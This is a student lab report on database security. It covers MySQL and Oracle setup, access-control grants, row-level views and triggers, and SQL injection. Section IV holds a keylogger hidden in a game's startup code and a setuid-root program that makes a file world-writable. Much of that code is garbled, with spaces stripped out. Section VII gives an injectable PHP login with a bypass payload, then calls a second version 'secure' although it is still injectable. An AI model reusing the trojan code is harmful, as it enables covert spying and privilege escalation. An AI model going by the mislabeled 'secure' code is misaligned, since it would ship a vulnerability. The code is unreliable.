Vous êtes sur la page 1sur 38

LAB WORK

DATABASE SECURITY

Name : Sunil Kumar Suman


Class : M.Tech (II Semester)
Roll no. : 137568
Faculty : Sri S.Ravi Chandra

INDEX
I. Configuring and Installing MySQL Server from source code. Creation and

manipulation of database using SQL scripts :


a) Creation of database schema with a given database design
b) Creation of primary and foreign keys for relations
c) Instantiate the database with instances
d) Manipulation of existing instance with various options(Restrict, cascade, set
NULL) in referential integrity.
II. Modification of Access Control List to change the different user privileges

using Grant Table. Implementing DAC: Implementation of database security


policies using DAC in MYSQL
a) User creation, roles, profiles and privileges
b) Interpret given database security policies into an access control matrix
c) Assign privileges based on users
d) Understand potential vulnerabilities of DAC
III. Adding Native Function to MySQL Server by editing source code
IV. Implementation of Trojan Horse program to change the user privileges to a

particular file
V. Implementation of Virtual Private Database using View using Oracle 10g or

SQL server
a) Create view object based on given condition
b) Create view object to display rows that belong only to the logged on user.
The view object has one additional column as current user name which is
returned by a built in function USER
c) Test whether a user can only display his/her owned records by Select
VI. Implementation of VPD using Oracle application Context

a) Create PL/SQL package that sets context


b) Create a context and associate it with the package
c) Set the context before users retrieve data
d) Use the context in a VPD function
VII. Understanding of the mechanism of SQL injection and know how to

determine SQL injection bugs and possible measures to prevent SQL injection
exploits.

I. Configuring and Installing MySQL Server from source code


A. Pre-requisites
B. Pre-installation configuration
C. Installation
D. Post-installation configuration
E. Starting and Runnig MySql server
F. Creation of Database schema, Primary & Foreign key relation,
Instantiation of database
A. Pre-requisites
a) Downloading source code
----- go to http://dev.mysql.com/downloads/mysql/
----- Select source code from dropdown menu and click download. It will
be downloaded as msql-5.6.16.tar.gz
----- Make a folder named 'mysql-server' in $HOME directory and extract
the source code.

b) Downloading pre-requisite packages require to successfully build and


install MySQL server
----- open terminal and issue command
shell> sudo apt-get install cmake build-essential ncurses-dev g++ ddd
bison
It will install :
cmake
build-essential : other library tool like libcurse etc
ncurse-dev
g++
ddd debugger
bison parser

B. Pre-installation configuration
a) Adding user and group
shell> groupadd sunil
shell> useradd -r -g sunil sunil
C. Installation
a) Creating build directory
#go to directory location where source is extracted i.e mysql-server
shell> cd $HOME/mysql-server/mysql-5.6.15/
#create build directory and enter into build directory
shell> mkdir bld
shell> cd bld
b) Configuration with cmake
#issue following command after entering to build directory 'bld'
shell> cmake ..
c) Building source code
#issue following command to build the source
shell> sudo make
d) Installing MySQL server
#following command will install MySQL server
shell> sudo make install
# This will install MySQL server in its default installation directory i.e
/usr/local/mysql

SCREENSHOOTS

D. Post-installation configuration
a) Installing grant table
shell> sudo ./mysql_install_db --user=sunil --basedir=/usr/local/mysql
--datadir=/sqldata
b) Changing permission of data directory
shell> cd /
shell> chown -R sunil sqldata
#data directory must be owned by user(sunil) otherwise grant table will not
load successfully.

c) Other configurations
# all other configurations related to starting of MySQL server is kept in a
file named my.conf under /usr/local/mysql. Here we can change the
default port no. (3306) to some other in case default port is already in use.

E. Starting and Runnig MySql server

a) Starting MySQL server


shell> sudo ./mysqld_safe --user=sunil & --datadir=/sqldata
--basedir=/usr/local/mysql

F. Creation of Database schema, Primary & Foreign key relation,


Instantiation of database
# Creation of database for PHARMACY MANAGEMENT SYSTEM
mysql> CREATE DATABASE IF NOT EXISTS 'pharmacy' DEFAULT
CHARACTER SET latin1 COLLATE latin1_swedish_ci;
mysql> USE 'pharmacy';
# Creation of Tables of database pharmacy
mysql> CREATE TABLE IF NOT EXISTS 'admin' ( 'admin_id' tinyint(5) NOT
NULL AUTO_INCREMENT, 'username' varchar(10) NOT NULL,
'password' varchar(10) NOT NULL, 'date' datetime NOT NULL,
PRIMARY KEY ('admin_id')) ENGINE=InnoDB DEFAULT
CHARSET=latin1 AUTO_INCREMENT=2 ;

mysql> INSERT INTO 'admin' ('admin_id', 'username', 'password', 'date')


VALUES (1, 'admin', 'admin', '0000-00-00 00:00:00');
mysql> CREATE TABLE IF NOT EXISTS 'cashier' (
'cashier_id' tinyint(5) NOT NULL AUTO_INCREMENT,
'first_name' varchar(15) NOT NULL,
'last_name' varchar(15) NOT NULL,
'staff_id' varchar(10) NOT NULL,
'postal_address' varchar(20) NOT NULL,
'phone' varchar(12) NOT NULL,
'email' varchar(20) NOT NULL,
'username' varchar(10) NOT NULL,
'password' varchar(10) NOT NULL,
'date' datetime NOT NULL,
PRIMARY KEY ('cashier_id')
) ENGINE=InnoDB DEFAULT CHARSET=latin1
AUTO_INCREMENT=6 ;
mysql> INSERT INTO 'cashier' ('cashier_id', 'first_name', 'last_name',
'staff_id', 'postal_address', 'phone', 'email', 'username', 'password',
'date') VALUES(4, 'raj', 'singh', 'rathore', '45 delhi', '9834345678',
'raj@gmail.com', 'rajsingh', 'rathore', '2013-11-23 12:54:49'),
(5, 'Sameer', 'gupta', 'Pharmacy/C', '76 bhopal', '9863335468',
'sam@pharmacy.com', 'sam', '1234', '2013-11-25 20:20:44');
mysql> CREATE TABLE IF NOT EXISTS 'invoice' (
'invoice_id' int(5) NOT NULL,
'customer_name' varchar(30) NOT NULL,
'served_by' varchar(15) NOT NULL,
'status' varchar(10) NOT NULL DEFAULT 'Unpaid',
'date' timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY ('invoice_id')
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
mysql> INSERT INTO 'invoice' ('invoice_id', 'customer_name', 'served_by',
'status', 'date') VALUES
(10, 'Sunil', 'osoro', 'Pending', '2013-12-10 11:19:42'),
(11, 'Bipin', 'osoro', 'Pending', '2013-12-10 11:28:59'),
(12, 'Amitesh', 'osoro', 'Pending', '2013-12-10 12:19:02'),
(13, 'Vishwa', 'osoro', 'Pending', '2013-12-10 12:25:19'),
(14, 'Karthik', 'osoro', 'Pending', '2013-12-10 12:29:38'),
(15, 'Sumit', 'osoro', 'Pending', '2013-12-10 12:39:51'),
(16, 'Mani', 'osoro', 'Pending', '2013-12-10 12:49:45'),
(17, 'Mayank', 'osoro', 'Pending', '2013-12-10 12:51:48'),
(18, 'Shalinee', 'osoro', 'Pending', '2013-12-12 19:20:44');

mysql> CREATE TABLE IF NOT EXISTS 'invoice_details' (


'id' tinyint(5) NOT NULL AUTO_INCREMENT,
'invoice' int(5) NOT NULL,
'drug' tinyint(5) NOT NULL,
'cost' int(5) DEFAULT NULL,
'quantity' int(5) NOT NULL,
PRIMARY KEY ('id'),
KEY 'stocks'('drug'),
KEY 'invoices' ('invoice')
) ENGINE=InnoDB DEFAULT CHARSET=latin1
AUTO_INCREMENT=31 ;
mysql> INSERT INTO 'invoice_details' ('id', 'invoice', 'drug', 'cost', 'quantity')
VALUES (2, 10, 5, 5, 12),
(3, 11, 5, 5, 12),
(5, 11, 6, 120, 12),
(6, 12, 5, 5, 15),
(7, 12, 6, 120, 17),
(9, 12, 7, 250, 15),
(10, 12, 8, 15, 15),
(11, 12, 9, 1, 20),
(13, 13, 5, 5, 5),
(14, 13, 6, 120, 10);
mysql> CREATE TABLE IF NOT EXISTS 'manager' (
'manager_id' tinyint(5) NOT NULL AUTO_INCREMENT,
'first_name' varchar(15) NOT NULL,
'last_name' varchar(15) NOT NULL,
'staff_id' varchar(10) NOT NULL,
'postal_address' varchar(20) NOT NULL,
'phone' varchar(12) NOT NULL,
'email' varchar(20) NOT NULL,
'username' varchar(10) NOT NULL,
'password' varchar(10) NOT NULL,
'date' datetime NOT NULL,
PRIMARY KEY (`manager_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1
AUTO_INCREMENT=2 ;
mysql> INSERT INTO 'manager' ('manager_id', 'first_name', 'last_name',
'staff_id', 'postal_address', 'phone', 'email', 'username', 'password',
'date') VALUES
(1, 'Nishant', 'Osoro', 'sam/pharm', '456 Kabu', '0789653417',
'nishant@pharmacy.com', 'samosa', '12345', '2013-12-10 14:09:03');

mysql> CREATE TABLE IF NOT EXISTS 'pharmacist' (


'pharmacist_id' tinyint(5) NOT NULL AUTO_INCREMENT,
'first_name' varchar(15) NOT NULL,
'last_name' varchar(15) NOT NULL,
'staff_id' varchar(10) NOT NULL,
'postal_address' varchar(20) NOT NULL,
'phone' varchar(12) NOT NULL,
'email' varchar(20) NOT NULL,
'username' varchar(10) NOT NULL,
'password' varchar(10) NOT NULL,
'date' datetime NOT NULL,
PRIMARY KEY ('pharmacist_id')
) ENGINE=InnoDB DEFAULT CHARSET=latin1
AUTO_INCREMENT=14 ;
mysql> INSERT INTO 'pharmacist' ('pharmacist_id', 'first_name', 'last_name',
'staff_id', 'postal_address', 'phone', 'email', 'username', 'password',
'date') VALUES (5, 'Sameer', 'Osoro', 'Pharmacy/1', '56 Kabu',
'0789653412', 'sam@pharmacysys.com', 'osoro', '1234', '2013-11-24
17:18:51');
mysql> CREATE TABLE IF NOT EXISTS 'prescription' (
'id' tinyint(5) NOT NULL AUTO_INCREMENT,
'prescription_id' int(5) NOT NULL,
'customer_id' int(11) NOT NULL,
'customer_name' varchar(30) NOT NULL,
'age' int(11) NOT NULL,
'sex' varchar(6) NOT NULL,
'postal_address' varchar(20) NOT NULL,
'invoice_id' tinyint(5) NOT NULL,
'phone varchar(12) NOT NULL,
'date' timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY ('id','prescription_id')
) ENGINE=InnoDB DEFAULT CHARSET=latin1
AUTO_INCREMENT=11;
mysql> INSERT INTO 'prescription' ('id', 'prescription_id', 'customer_id',
'customer_name`, 'age', 'sex', 'postal_address', 'invoice_id', 'phone',
'date') VALUES (4, 1002, 254678, 'Andre', 0, 'male', '45 eldy', 13,
'0987643524', '2013-12-10 12:25:19'), (9, 1003, 6765, 'Gtyhd', 45, 'Male',
'664466447744 Njy', 18, '887998', '2013-12-12 19:20:44'),
(10, 1004, 1678, 'Jay-z', 45, 'Male', '123 Brooklyn', 19, '088721313',
'2013-12-12 20:34:50');

mysql> CREATE TABLE IF NOT EXISTS 'receipts' (


'reciptNo' int(10) NOT NULL,
'customer_id' varchar(10) NOT NULL,
'total' int(10) NOT NULL,
'payType' varchar(10) NOT NULL,
'serialno' varchar(10) DEFAULT NULL,
'served_by' varchar(15) NOT NULL,
'date' timestamp NOT NULL DEFAULT '0000-00-00 00:00:00' ON
UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY ('reciptNo')
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
mysql> INSERT INTO 'receipts' ('reciptNo', 'customer_id', 'total', 'payType',
'serialno', 'served_by', 'date') VALUES
(0, '', 1500, '', '', 'sam', '0000-00-00 00:00:00'),
(999, '', 1350, '', '', 'sam', '0000-00-00 00:00:00');
mysql> CREATE TABLE IF NOT EXISTS 'stock' (
'stock_id' tinyint(5) NOT NULL AUTO_INCREMENT,
'drug_name' varchar(20) NOT NULL,
'category' varchar(20) NOT NULL,
'description' varchar(50) NOT NULL,
'company' varchar(20) NOT NULL,
'supplier' varchar(20) NOT NULL,
'quantity' int(11) NOT NULL,
'cost' int(11) NOT NULL,
'status' enum('Available','Inavailable') NOT NULL,
'date_supplied' date NOT NULL,
PRIMARY KEY ('stock_id')
) ENGINE=InnoDB DEFAULT CHARSET=latin1
AUTO_INCREMENT=10 ;
mysql> INSERT INTO 'stock' ('stock_id', 'drug_name', 'category', 'description',
'company', 'supplier', 'quantity', 'cost', 'status', 'date_supplied')
VALUES (5, 'Piriton', 'tablet', 'Painkiller', 'SB', 'SB', 1000, 5,
'Available', '2013-11-30'), (6, 'Dual Cotexin', 'tablet', 'Malaria', 'GX',
'Clinix', 150, 120, 'Available', '2013-11-30'), (7, 'Naproxen', 'Tablet',
'Reproductive', 'Family Health', 'Stopes', 250, 250, 'Available', '2013-1130'), (8, 'Flagi', 'talet', 'Digestive', 'GX', 'Clinix', 657, 15, 'Available',
'2013-11-30'), (9, 'Actal', 'Tablet', 'Stomach Reliev', 'GX', 'Clinix', 1000,
1, 'Available', '2013-12-06');

SCREENSHOTS

LAB II
Modification of Access Control List to change the different user privileges using
Grant Table. Implementing DAC: Implementation of database security policies
using DAC in MYSQL
# Discretionary Access Control (DAC) can be implemented in MySQL by
modification in the grant table.
# All the Grant table are present in mysql database which is accessible by root user
and equivalent privileges user.The grant tables are user, db etc.
Steps :
a) Adding host,user & password information in grant table user. This is the part of
connection verification where identification of user and password and identification
of user from where he is connecting to server is verified.
# Here I am adding 3 users
mysql> INSERT INTO
user(host,user,password,ssl_cipher,x509_issuer,x509_subject)
values('localhost','user1',password('pwd1'),'x','x','x');
mysql> INSERT INTO
user(host,user,password,ssl_cipher,x509_issuer,x509_subject)
values('localhost','user2',password('pwd2'),'x','x','x');
mysql> INSERT INTO
user(host,user,password,ssl_cipher,x509_issuer,x509_subject)
values('localhost','user3',password('pwd3'),'x','x','x');
b) Modifying the privileges of user1,user2,user3 and checking privileges :
mysql> INSERT INTO
db(host,db,user,select_priv,insert_priv,create_priv,delete_priv)
values('localhost','pharmacy','user1','Y','Y','Y','Y');
mysql> INSERT INTO
db(host,db,user,select_priv,insert_priv,create_priv,delete_priv)
values('localhost','pharmacy','user2','Y','Y','Y','Y');
mysql> INSERT INTO
db(host,db,user,select_priv,insert_priv,create_priv,delete_priv)
values('localhost','pharmacy','user3','Y','Y','Y','Y');

mysql> flush privileges;


mysql> quit;
# Now connecting through user1, user2 and user3 and checking permissions on
database pharmacy :
shell> ./bin/mysql -u user1 -p
Enter password:
mysql> show grants;
# output
+--------------------------------------------------------------------------------------------------------------+
| Grants for user1@localhost
|
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'user1'@'localhost' IDENTIFIED BY PASSWORD '*44B12B1BDDF86F44053DCE4518183FA802AC3B8A' |
| GRANT SELECT, INSERT, DELETE, CREATE ON `pharmacy`.* TO 'user1'@'localhost'
|
+--------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql> quit;
shell> ./bin/mysql -u user2 -p
Enter password:
mysql> show grants;
# output
+--------------------------------------------------------------------------------------------------------------+
| Grants for user2@localhost
|
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'user2'@'localhost' IDENTIFIED BY PASSWORD '*38366FDA01695B6A5A9DD4E428D9FB8F7EB75512' |
| GRANT SELECT, INSERT ON `pharmacy`.* TO 'user2'@'localhost'
|
+--------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql> quit;
shell>./bin/mysql -u user3 -p
Enter password:
mysql> show grants;
#output
+--------------------------------------------------------------------------------------------------------------+
| Grants for user3@localhost
|
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'user3'@'localhost' IDENTIFIED BY PASSWORD '*A21F1460C5CCDB575E0A7A3B35600BF918CAEA38' |
| GRANT SELECT ON `pharmacy`.* TO 'user3'@'localhost'
|
+--------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

# Clearly we can see that user1 has select,create,insert & delete permission, while
user2 has select & insert permission and user3 has only select permission.
So in this way DAC is implemented.

SCREENSHOTS

LAB III
Adding Native Function to MySQL Server by editing source code
# Here I am adding a native function named nitw() which takes string as argument
and returns that string on standart output.
Steps:
For adding native function which returns string value, modification to the following
files is required. These files are inside the /sql folder of source code directory.
a) item_create.cc
b) item_strfunc.h
c) item_strfunc.cc
a) Modification in item_create.cc
# class definition for nitw()
class Create_func_nitw : public Create_func_arg1
{
public:
virtual Item *create( THD *thd, Item *arg1);
static Create_func_nitw s_singleton;
protected:
Create_func_nitw( ) { }
virtual ~Create_func_nitw( ) { }
};

# Adding method
Create_func_nitw Create_func_nitw::s_singleton;
Item*
Create_func_nitw::create( THD *thd, Item *arg1)
{
return new (thd->mem_root) Item_func_nitw(arg1);
}

# Adding symbol in func_arrar[]


{ { C_STRING_WITH_LEN("NITW") }, BUILDER(Create_func_nitw)},

b) Modification in item_strfunc.h
# Deriving string function from item_str_func class defined in item_strfunc.h
class Item_func_nitw :public Item_str_func
{
String tmp_value;
public:
Item_func_nitw(Item *a) :Item_str_func(a) { }
String *val_str(String *);
void fix_length_and_dec( )
{
max_length=30;
}
const char *func_name( ) const { return "nitw"; }
};
c) Modification in item_strfunc.cc
# Here actual logic of function is added, i.e what function will perform after
executing and what it will return
String *Item_func_nitw::val_str(String *str)
{
return args[0]->val_str(str);
}
# After adding the above codes to their respective files, the source code needs to be
recompile, build and install.
# After successful build and installation the function nitw() will remain active and
can be used anytime after server is started.
# Output :
mysql> SELECT nitw("Welcome !!");
+--------------------+
| nitw("Welcome !!") |
+--------------------+
| Welcome !!
|
+--------------------+
1 row in set (0.00 sec)

SCREENSHOTS

IV. Implementation of Trojan Horse program to change the user privileges to a


particular file
a) shell script to record the keystrokes
#!/bin/bash
if[[$1=="stop"]];then
python/home/sksuman/dbs/logger/parse.py
#itshouldlogaythingitcanevenbeforethebackupif
itstimedout
kill$(psaux|awk'/[b]ackup/{print$2}')#themost
elegantwaytokillthisprocess!
exit#exitthescriptitself
fi
if[[$1=="start"]];then
echo"Gameinitializing..."
fi

whiletrue
do
showkey>/home/sksuman/dbs/logger/logger.txt
python/home/sksuman/dbs/logger/parse.py
done
b) python script to map the keystrokes with the keymap.txt file and generate output to output.log
file
importdatetime
fin=open("/home/sksuman/dbs/logger/keymap.txt","r")
lineList=fin.readlines()
fin.close()
args=['nul']*88
forlineinlineList:
#printline
ifline[0]=="k":
#printint(line[8:10])
args.insert(int(line[8:10]),line[12:len(line)1])
args.pop()
#printargs
#printlen(args)
#nowthatihaveformedtheargslist..Icanworkontheargs
array!
fin=open("/home/sksuman/dbs/logger/logger.txt","r")
lineList=fin.readlines()
fin.close()
f=open("/home/sksuman/dbs/logger/output.log","a")
index=0

forlineinlineList:
#printline
ifline[0:5]=="keyco":
ifindex==0:

f.write("\n
\n"+datetime.datetime.now().strftime("%I:%M%pon%B%d,%Y")+"\n
==============================================\n")
#Datetimetobesavedonlywhensomekeycodeis
read
###########################actualkeystrokesget
recordedhere######################
index=int(line[9:11])
if(index==42orindex==54)andline[12:len(line)
1]=="press":
#shifthasbeenpressed

f.write("<Shiftpressed>")
elifindex==58andline[12:len(line)1]=="press":
#capshasbeenpressed
f.write("<Capspressed>")
elifindex==28andline[12:len(line)1]=="release":
f.write("\n")
elifindex==57andline[12:len(line)1]=="release":
f.write("\t")
elif(index==42orindex==54)andline[12:len(line)
1]=="release":
#shifthasbeenreleased

f.write("<Shiftreleased>")
elifindex==58andline[12:len(line)1]=="release":
#capshasbeenreleased
f.write("<Capsreleased>")
elifline[12:len(line)1]=="release":
f.write(args[index])
f.close()
#filewritingisdone
c) Inserting code in the main function of game source code
#include<SDL.h>
#include"supertux/main.hpp"
intmain(intargc,char**argv)
{
system(./backup.shstart);
returnMain().run(argc,argv);
}

# changing permission of a file using system call


a) a program in c which uses system call to change the permission
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
main()
{
intuid;
uid=setuid(0);
if(uid==0)
{
system("chmod777/home/sksuman/dbs/logger/logger.txt");
}
}

b) changing the permission of the file initially and setting sticky bit
shell> gcc horse.c -o horse
shell> sudo chmod root horse
shell> sudo chgrp root horse
shell> sudo chmod 4777 horse
Now this file can be transferred to any system which will change the
permission of the file kept in /home/sksuman/logger/logger.txt

V. Implementation of Virtual Private Database using View using Oracle 11g


a) Installing oracle 11g
b) Creating users, creating table, and grant permission to user
c) Create view object to display rows that belong only to the logged on user
d) Test whether a user can only display his/her owned records by Select
a) Installing Oracle 11g
1) Download the Oracle 11gR2 express edition installer from the link given below:
http://www.oracle.com/technetwork/products/express-edition/downloads/index.html
2) Unzip it :
unzip oracle-xe-11.2.0-1.0.x86_64.rpm.zip
3) Install the following packages :
shell> sudo apt-get install alien libaio1 unixodbc vim
4) Convert the red-hat ( rpm ) package to Ubuntu-package :
shell> sudo alien --scripts -d oracle-xe-11.2.0-1.0.x86_64.rpm
5) Do the following pre-requisite things:
a) Create a special chkconfig script :
shell> sudo vim /sbin/chkconfig
(copy and paste the following into the file )
#!/bin/bash
# Oracle 11gR2 XE installer chkconfig hack for Ubuntu
file=/etc/init.d/oracle-xe
if [[ ! `tail -n1 $file | grep INIT` ]]; then
echo >> $file
echo '### BEGIN INIT INFO' >> $file
echo '# Provides: OracleXE' >> $file
echo '# Required-Start: $remote_fs $syslog' >> $file
echo '# Required-Stop: $remote_fs $syslog' >> $file
echo '# Default-Start: 2 3 4 5' >> $file
echo '# Default-Stop: 0 1 6' >> $file
echo '# Short-Description: Oracle 11g Express Edition' >> $file
echo '### END INIT INFO' >> $file
fi
shell> update-rc.d oracle-xe defaults 80 01
#Save the above file and provide appropriate execute privilege :
shell> chmod 755 /sbin/chkconfig

b) Set the Kernel parameters :


Oracle 11gR2 XE requires to set the following additional kernel parameters:
shell> sudo vim /etc/sysctl.d/60-oracle.conf
(Enter the following)
# Oracle 11g XE kernel parameters
fs.file-max=6815744
net.ipv4.ip_local_port_range=9000 65000
kernel.sem=250 32000 100 128
kernel.shmmax=536870912
(Save the file)
Verify the change :
shell> sudo cat /etc/sysctl.d/60-oracle.conf
Load new kernel parameters:
shell> sudo service procps start
Verify:
shell> sudo sysctl -q fs.file-max
->fs.file-max= 6815744
c) Increase the system swap space :Analyze your current swap space by following command :
shell> free -m
6) Install Oracle 11gR2 XE. Go to the directory where you created the ubuntu package file in Step 4
and enter following commands in terminal :
shell> sudo dpkg --install oracle-xe_11.2.0-2_amd64.deb
shell> sudo /etc/init.d/oracle-xe configure
Enter the following configuration information:
A valid HTTP port for the Oracle Application Express (the default is 8080)
A valid port for the Oracle database listener (the default is 1521)
A password for the SYS and SYSTEM administrative user accounts
Confirm password for SYS and SYSTEM administrative user accounts
Whether you want the database to start automatically when the computer starts (next reboot).
7) Before you start using Oracle 11gR2 XE you have to set-up more things :
a) Set-up the environmental variables :
Add following lines to your .bashrc:

export ORACLE_HOME=/u01/app/oracle/product/11.2.0/xe
export ORACLE_SID=XE
export NLS_LANG=`$ORACLE_HOME/bin/nls_lang.sh`
export ORACLE_BASE=/u01/app/oracle
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:$LD_LIBRARY_PATH
export PATH=$ORACLE_HOME/bin:$PATH
b) execute your .profile to load the changes:
shell> . ./.profile
8) Start the Oracle 11gR2 XE :
shell> sudo service oracle-xe start
________________________________________________________________________________
OUTPUT :
sksuman@NITW:~$ sudo -i
[sudo] password for sksuman:
root@NITW:~# sqlplus sys as sysdba
SQL*Plus: Release 11.2.0.2.0 Production on Mon Mar 31 03:09:24
2014
Copyright (c) 1982, 2011, Oracle.

All rights reserved.

Enter password:
Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit
Production
SQL>
________________________________________________________________________________

b) Creating users, creating table, and grant permission to user


i) first create users sunilks and grant permissions :
SQL> create user sunilks identified by 137568 default tablespace
users;
User created.
SQL> grant dba to sunil;
Grant succeeded.
SQL> grant create session to sunilks;
Grant succeeded.

SQL> conn sunilks/137568;


Connected.

ii) Create table and view


SQL> create table dbslab(rollno number,username varchar(20));
Table created.
SQL> insert into dbslab values(137568,user);
1 row created.
SQL> sho user;
USER is "SUNILKS"
SQL> select * from dbslab;
ROLLNO USERNAME
---------- -------------------137568 SUNILKS
SQL> create view login_view as select rollno,username from dbslab
where username=user;
View created.
SQL> select * from login_view;
ROLLNO USERNAME
---------- -------------------137568 SUNILKS
SQL> insert into dbslab values(1,user);
1 row created.
SQL> select * from dbslab;
ROLLNO
---------137568
1

USERNAME
-------------------SUNILKS
SUNILKS

iii) Create another user guest1 and grant permissions :


SQL> conn sys as sysdba;
Enter password:
Connected.
SQL> create user guest1 identified by passwd1 default tablespace
users;
User created.

SQL> grant create session to guest1;


Grant succeeded.

iii) Connect to sunilks and grant permission to create session and on created
view to user guest1 ; Insert values using view by user guest1 :
SQL> conn sunilks/137568;
Connected.
SQL> grant select,insert on login_view to guest1;
Grant succeeded.
SQL> conn guest1/passwd1;
Connected.
SQL> select * from sunilks.login_view;
no rows selected
SQL> insert into sunilks.login_view values(2,user);
1 row created.
SQL> select * from sunilks.login_view;
ROLLNO USERNAME
---------- -------------------2
GUEST1
SQL> insert into sunilks.login_view values(3,user);
1 row created.

iii) Verify whether select command displaying rows of currently logged in user or
not :
SQL> conn guest1/passwd1;
Connected.
SQL> show user;
USER is "GUEST1"
SQL> select * from sunilks.login_view;
ROLLNO
---------2
3

USERNAME
-------------------GUEST1
GUEST1

Since current user is guest1 and its showing only rows from having
username=guest1. So it is verified.

SQL> conn sunilks/137568;


Connected.
SQL> show user;
USER is "SUNILKS"
SQL> select * from sunilks.login_view;
ROLLNO
---------137568
1

USERNAME
-------------------SUNILKS
SUNILKS

SQL> select * from dbslab;


ROLLNO
---------137568
1
2
3

USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1

From the above output we can see that when we login through user sunilks
and try to access rows using view login_view , it is showing the results only
belongs to user sunilks not that of guest1.
While in second case if we are selecting rows directly from
table i.e not using view, then all the results of the table dbslab is retrieved
irrespective of the logged in user.
Hence view can be implemented to provide row level security(VPD) when used
with the ORACLE predefined function user.

VI. Implementation of VPD using Oracle application Context


This is similar to the previous assignment, the only difference is here we need to
create a TRIGGER which automatically insert the username of currently logged in
user whenever we insert any value in the defined table :
i) Inserting a value in table dbslab without using funtion user and
verifying whether username is added automtically or not :
SQL> conn guest1/passwd1;
Connected.
SQL> show user;
USER is "GUEST1"
SQL> insert into sunilks.login_view(rollno) values (4);
1 row created.
SQL> select * from sunilks.login_view;
ROLLNO
---------2
3

USERNAME
-------------------GUEST1
GUEST1

SQL> conn sunilks/137568;


Connected.
SQL> select * from sunilks.login_view;
ROLLNO
---------137568
1

USERNAME
-------------------SUNILKS
SUNILKS

SQL> select * from dbslab;


ROLLNO
---------137568
1
2
3
4

USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1

Clearly we can see that rollno field having value 4 is inserted but it has no username inserted
automatically.

ii) Now, creating a TRIGGER which will insert username automatically upon
each insert statement :
SQL> show user;
USER is "SUNILKS"

SQL>
2
3
4
5
6
7
8

create or replace trigger trg


before insert
on dbslab
for each row
begin
:new.username := user;
end;
/

Trigger created.
SQL> select trigger_name from user_triggers;
TRIGGER_NAME
-----------------------------TRG

iii) Verifying working of trigger TRG :


SQL> conn guest1/passwd1;
Connected.
SQL> select * from sunilks.login_view;
ROLLNO
---------2
3

USERNAME
-------------------GUEST1
GUEST1

SQL> insert into sunilks.login_view(rollno) values(5);


1 row created.
SQL> select * from sunilks.login_view;
ROLLNO
---------2
3
5

USERNAME
-------------------GUEST1
GUEST1
GUEST1

# Clearly we can see from above output username guest1 is added automatically
SQL> conn sunilks/137568;
Connected.
SQL> select * from dbslab;
ROLLNO
---------137568
1
2
3
4
5

USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1
GUEST1

6 rows selected.
SQL> insert into login_view(rollno) values(6);
1 row created.
SQL> select * from login_view;
ROLLNO
---------137568
1
6

USERNAME
-------------------SUNILKS
SUNILKS
SUNILKS

SQL> select * from dbslab;


ROLLNO
---------137568
1
2
3
4
5
6

USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1
GUEST1
SUNILKS

7 rows selected.

# The above output shows username suniks is added automatically


Hence verified.

VII. SQL INJECTION IMPLEMENTATON


Here I have created two forms and two php file which validates the data (username
and password) from MySQL database.
The first php code is vulnerable to SQL INJECTION.
The second php code is secured.
The vulnerability is due to single quote ( ' ) .
HTML Code for creating form which takes username and password as user
input :
____________________________________________________________________
<html>
<head><title>dbs-lab login page, NITW</title></head>
<center>
<body bgcolor="F0E68C" alignment="centre">
<h2>This is a test page to show implementation of simple "SQL
INJECTION ATTACK"</h2><br>
<h3>"<U>VULNERABLE TO SQL INJECTION</U>"</H3>
<BR><BR><BR><BR><BR><BR>
<form method="POST" action="sql_injection_validation.php">
<table border="0" bgcolor="F8F8F8" align="center"
cellpadding="10" cellspacing="10">
<tr>
<td><label for="username">User Name :</label></td>
<td><input type="text" name="usrname" id="usrname"
size="25" placeholder="Username"></td>
</tr>
<tr>
<td><label for="password">Password : </label></td>
<td><input type="password" name="pword" id="pword"
size="25" placeholder="Password"></td>
</tr>
<tr align="center"><td></td>
<td><input type="submit" value="Login">
<input type="reset" value="Reset"></td>
</tr>
</table>
</form>
</body>
</center>
</html>
__________________________________________________________________

PHP code which validates username and password given by the user in the
form(code above) with the mysql database sql_inj_test, table admin :

This PHP code is vulnerable to SQL INJECTION :


__________________________________________________________________
<?php
$uname = $_POST["usrname"];
$paswd = $_POST["pword"];
$con = mysql_connect("localhost","root","ubuntu");
if(!$con)
{
die('connection failed'.mysql_error());
}
mysql_select_db("sql_inj_test",$con);
$sql="select * from admin where username='$uname' and
password='$paswd'";
$result=mysql_query($sql);
if(mysql_num_rows($result)>0)
{
echo "authorization success...";
?><br><?php echo "User Name :".$uname;
?><br><?php echo "Password :".$paswd;
}
else
{
echo "authorization failed...";
?><br><?php echo "User Name :".$uname;
?><br><?php echo "Password :".$paswd;
}
?>
__________________________________________________________________

SECURE PHP code which validates username and password given by the user
in the form(code above) with the mysql database table admin :
____________________________________________________________________
<?php
$uname = $_POST["usrname"];
$paswd = $_POST["pword"];
$con = mysql_connect("localhost","root","ubuntu");
if(!$con)
{
die('connection failed'.mysql_error());
}
mysql_select_db("sql_inj_test",$con);

$result = mysql_query("select username,password from admin where


username = '$uname'");
$row=mysql_fetch_array($result);
if($row["username"]==$uname && $row["password"]==$paswd)
{
echo "Authorization success...";
?><br><?php echo "User Name :".$uname;
?><br><?php echo "Password :".$paswd;
}
else
{
echo "Invalid username or password, try again...";
?><br><?php echo "User Name :".$uname;
?><br><?php echo "Password :".$paswd;
}
?>
__________________________________________________________________

OUTPUT :

Login page : here I am using username sunil and password


12345

output :

Now login using username: sunil password : x'or'1'='1

Output : Authorization successful, which shows the php


